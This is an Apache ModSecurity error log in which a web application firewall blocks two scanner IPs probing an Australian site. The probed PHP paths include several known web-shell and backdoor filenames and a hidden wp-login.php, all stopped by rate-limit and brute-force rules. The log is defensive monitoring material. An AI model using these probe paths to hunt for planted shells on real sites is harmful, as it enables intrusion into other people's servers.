[Sun Mar 29 23:26:35.388196 2026] [:error] [pid 23284:tid 23294] [client 68.155.145.150:12234] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/varb.php"] [unique_id "aclEq4zBujdPHsq7wyTnkgAAAog"]
[Sun Mar 29 23:26:35.811984 2026] [:error] [pid 32255:tid 32311] [client 68.155.145.150:12221] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/varb.php"] [unique_id "aclEq2nfn-AtRoMbquwY6QAAAFQ"]
[Sun Mar 29 23:26:36.222924 2026] [:error] [pid 23137:tid 23156] [client 68.155.145.150:12229] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/varb.php"] [unique_id "aclErBaWQa7LdZ_qGFYKTwAAAZE"]
[Sun Mar 29 23:26:36.633190 2026] [:error] [pid 32359:tid 32372] [client 68.155.145.150:12259] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/varb.php"] [unique_id "aclErAMb8G3UzfQP3Wg7iwAAAMs"]
[Sun Mar 29 23:26:37.054251 2026] [:error] [pid 32257:tid 32337] [client 68.155.145.150:11909] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "aclErSE3TArOFrUtgWprPAAAAJM"]
[Sun Mar 29 23:26:37.472156 2026] [:error] [pid 23250:tid 23271] [client 68.155.145.150:12242] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "aclErZxrpj-dQjy1cvoWKgAAAlM"]
[Sun Mar 29 23:26:37.861347 2026] [:error] [pid 23168:tid 23203] [client 68.155.145.150:11982] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "aclErWP8p0yRL8ot_2-8vgAAAgY"]
[Sun Mar 29 23:26:38.326254 2026] [:error] [pid 32257:tid 32334] [client 68.155.145.150:12214] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "aclEriE3TArOFrUtgWprQQAAAJA"]
[Sun Mar 29 23:26:38.784879 2026] [:error] [pid 32254:tid 32283] [client 68.155.145.150:12192] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "aclErqug2IHuyGgCTn9mWAAAABM"]
[Sun Mar 29 23:26:39.219335 2026] [:error] [pid 32257:tid 32331] [client 68.155.145.150:11927] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "aclEryE3TArOFrUtgWprQwAAAI0"]
[Sun Mar 29 23:26:39.633819 2026] [:error] [pid 32255:tid 32291] [client 68.155.145.150:11959] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "aclEr2nfn-AtRoMbquwY7wAAAEA"]
[Sun Mar 29 23:26:40.058686 2026] [:error] [pid 23250:tid 23276] [client 68.155.145.150:12138] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "aclEsJxrpj-dQjy1cvoWMQAAAlg"]
[Sun Mar 29 23:26:40.508821 2026] [:error] [pid 32257:tid 32321] [client 68.155.145.150:12094] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aclEsCE3TArOFrUtgWprSgAAAIM"]
[Sun Mar 29 23:26:40.937472 2026] [:error] [pid 23284:tid 23304] [client 68.155.145.150:12027] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aclEsIzBujdPHsq7wyTnpAAAApI"]
[Sun Mar 29 23:26:41.355353 2026] [:error] [pid 23284:tid 23287] [client 68.155.145.150:12266] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aclEsYzBujdPHsq7wyTnqAAAAoE"]
[Sun Mar 29 23:26:41.765160 2026] [:error] [pid 23284:tid 23306] [client 68.155.145.150:11921] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aclEsYzBujdPHsq7wyTnrwAAApQ"]
[Sun Mar 29 23:26:42.243745 2026] [:error] [pid 32257:tid 32319] [client 68.155.145.150:12247] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "aclEsiE3TArOFrUtgWprUgAAAIE"]
[Sun Mar 29 23:26:42.758164 2026] [:error] [pid 23284:tid 23299] [client 68.155.145.150:12106] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "aclEsozBujdPHsq7wyTntwAAAo0"]
[Sun Mar 29 23:26:43.213436 2026] [:error] [pid 23284:tid 23289] [client 68.155.145.150:12265] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "aclEs4zBujdPHsq7wyTnvAAAAoM"]
[Sun Mar 29 23:26:43.661103 2026] [:error] [pid 23284:tid 23286] [client 68.155.145.150:12136] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "aclEs4zBujdPHsq7wyTnwgAAAoA"]
[Sun Mar 29 23:26:44.104429 2026] [:error] [pid 32254:tid 32267] [client 68.155.145.150:12159] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "aclEtKug2IHuyGgCTn9mWQAAAAM"]
[Sun Mar 29 23:26:44.569002 2026] [:error] [pid 23167:tid 23184] [client 68.155.145.150:12182] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "aclEtBIAHJCFaHff3_fYDwAAAc4"]
[Sun Mar 29 23:26:45.075450 2026] [:error] [pid 32257:tid 32328] [client 68.155.145.150:12143] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "aclEtSE3TArOFrUtgWprWgAAAIo"]
[Sun Mar 29 23:26:45.594542 2026] [:error] [pid 23167:tid 23174] [client 68.155.145.150:12167] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "aclEtRIAHJCFaHff3_fYEgAAAcQ"]
[Sun Mar 29 23:26:46.225993 2026] [:error] [pid 23284:tid 23308] [client 68.155.145.150:12276] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "aclEtozBujdPHsq7wyTn1AAAApY"]
[Sun Mar 29 23:26:46.703148 2026] [:error] [pid 32257:tid 32332] [client 68.155.145.150:12103] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "aclEtiE3TArOFrUtgWprXAAAAI4"]
[Sun Mar 29 23:26:47.108755 2026] [:error] [pid 32257:tid 32335] [client 68.155.145.150:12209] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "aclEtyE3TArOFrUtgWprYAAAAJE"]
[Sun Mar 29 23:26:47.623526 2026] [:error] [pid 32257:tid 32321] [client 68.155.145.150:12283] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "aclEtyE3TArOFrUtgWprZgAAAIM"]
[Mon Mar 30 00:47:02.258593 2026] [:error] [pid 32257:tid 32338] [client 40.75.84.21:5173] [client 40.75.84.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.75.84.21, incrementing brute counter"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aclXhiE3TArOFrUtgWqmqwAAAJQ"]
[Mon Mar 30 00:47:05.422026 2026] [:error] [pid 32257:tid 32341] [client 40.75.84.21:36474] [client 40.75.84.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.75.84.21, incrementing brute counter"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aclXiSE3TArOFrUtgWqmtAAAAJc"]
[Mon Mar 30 00:47:08.504096 2026] [:error] [pid 32255:tid 32301] [client 40.75.84.21:40143] [client 40.75.84.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.75.84.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aclXjGnfn-AtRoMbquxBVQAAAEo"]
[Mon Mar 30 00:47:21.715957 2026] [:error] [pid 23250:tid 23252] [client 40.75.84.21:62358] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/default.php"] [unique_id "aclXmZxrpj-dQjy1cvonYQAAAkA"]
[Mon Mar 30 00:47:22.203423 2026] [:error] [pid 32255:tid 32293] [client 40.75.84.21:62381] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/default.php"] [unique_id "aclXmmnfn-AtRoMbquxBbwAAAEI"]
[Mon Mar 30 00:47:22.693317 2026] [:error] [pid 23168:tid 23215] [client 40.75.84.21:48468] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "aclXmmP8p0yRL8ot_2_dZgAAAhI"]
[Mon Mar 30 00:47:23.172065 2026] [:error] [pid 23284:tid 23309] [client 40.75.84.21:58684] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "aclXm4zBujdPHsq7wyQnrgAAApc"]
[Mon Mar 30 00:47:23.618133 2026] [:error] [pid 32257:tid 32340] [client 40.75.84.21:62398] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "aclXmyE3TArOFrUtgWqm_gAAAJY"]
[Mon Mar 30 00:47:24.054280 2026] [:error] [pid 32255:tid 32298] [client 40.75.84.21:5541] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "aclXnGnfn-AtRoMbquxBeQAAAEc"]
[Mon Mar 30 00:47:24.597626 2026] [:error] [pid 32257:tid 32323] [client 40.75.84.21:36420] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/seoplugins/index.php"] [unique_id "aclXnCE3TArOFrUtgWqnAAAAAIU"]
[Mon Mar 30 00:47:25.348245 2026] [:error] [pid 32257:tid 32330] [client 40.75.84.21:37034] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/seoplugins/index.php"] [unique_id "aclXnSE3TArOFrUtgWqnBwAAAIw"]
[Mon Mar 30 00:47:25.999308 2026] [:error] [pid 32257:tid 32334] [client 40.75.84.21:5146] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/seoplugins/index.php"] [unique_id "aclXnSE3TArOFrUtgWqnEQAAAJA"]
[Mon Mar 30 00:47:26.463527 2026] [:error] [pid 32257:tid 32340] [client 40.75.84.21:5142] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ini.php"] [unique_id "aclXniE3TArOFrUtgWqnFQAAAJY"]
[Mon Mar 30 00:47:27.105368 2026] [:error] [pid 8818:tid 8832] [client 40.75.84.21:64535] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ini.php"] [unique_id "aclXnyCDvotZNSF0FBoI8gAAAUo"]
[Mon Mar 30 00:47:27.604595 2026] [:error] [pid 32257:tid 32332] [client 40.75.84.21:5170] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/libraries/legacy/info.php"] [unique_id "aclXnyE3TArOFrUtgWqnIQAAAI4"]
[Mon Mar 30 00:47:28.030704 2026] [:error] [pid 23284:tid 23294] [client 40.75.84.21:47380] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "aclXoIzBujdPHsq7wyQnuwAAAog"]
[Mon Mar 30 00:47:28.499297 2026] [:error] [pid 32255:tid 32303] [client 40.75.84.21:47379] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "aclXoGnfn-AtRoMbquxBgwAAAEw"]
[Mon Mar 30 00:47:29.060404 2026] [:error] [pid 23284:tid 23301] [client 40.75.84.21:5138] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "aclXoYzBujdPHsq7wyQnwgAAAo8"]
[Mon Mar 30 00:47:29.806980 2026] [:error] [pid 32255:tid 32295] [client 40.75.84.21:62441] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "aclXoWnfn-AtRoMbquxBhAAAAEQ"]
[Mon Mar 30 00:47:30.284077 2026] [:error] [pid 23284:tid 23288] [client 40.75.84.21:5140] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "aclXoozBujdPHsq7wyQnzwAAAoI"]
[Mon Mar 30 00:47:30.762183 2026] [:error] [pid 23284:tid 23290] [client 40.75.84.21:5122] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "aclXoozBujdPHsq7wyQn1wAAAoQ"]
[Mon Mar 30 00:47:31.313248 2026] [:error] [pid 32257:tid 32319] [client 40.75.84.21:47385] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "aclXoyE3TArOFrUtgWqnKwAAAIE"]
[Mon Mar 30 00:47:31.919676 2026] [:error] [pid 23284:tid 23286] [client 40.75.84.21:37104] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aclXo4zBujdPHsq7wyQn5AAAAoA"]
[Mon Mar 30 00:47:32.565592 2026] [:error] [pid 32255:tid 32301] [client 40.75.84.21:48457] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aclXpGnfn-AtRoMbquxBiQAAAEo"]
[Mon Mar 30 00:47:32.988360 2026] [:error] [pid 32255:tid 32302] [client 40.75.84.21:5524] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aclXpGnfn-AtRoMbquxBjQAAAEs"]
[Mon Mar 30 00:47:33.542334 2026] [:error] [pid 32255:tid 32293] [client 40.75.84.21:5527] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aclXpWnfn-AtRoMbquxBlQAAAEI"]
[Mon Mar 30 00:47:34.133942 2026] [:error] [pid 23167:tid 23186] [client 40.75.84.21:5976] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/images/28c5400b0b.php"] [unique_id "aclXphIAHJCFaHff3_fytgAAAdA"]
[Mon Mar 30 00:47:34.697406 2026] [:error] [pid 32257:tid 32337] [client 40.75.84.21:37029] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/images/28c5400b0b.php"] [unique_id "aclXpiE3TArOFrUtgWqnMAAAAJM"]
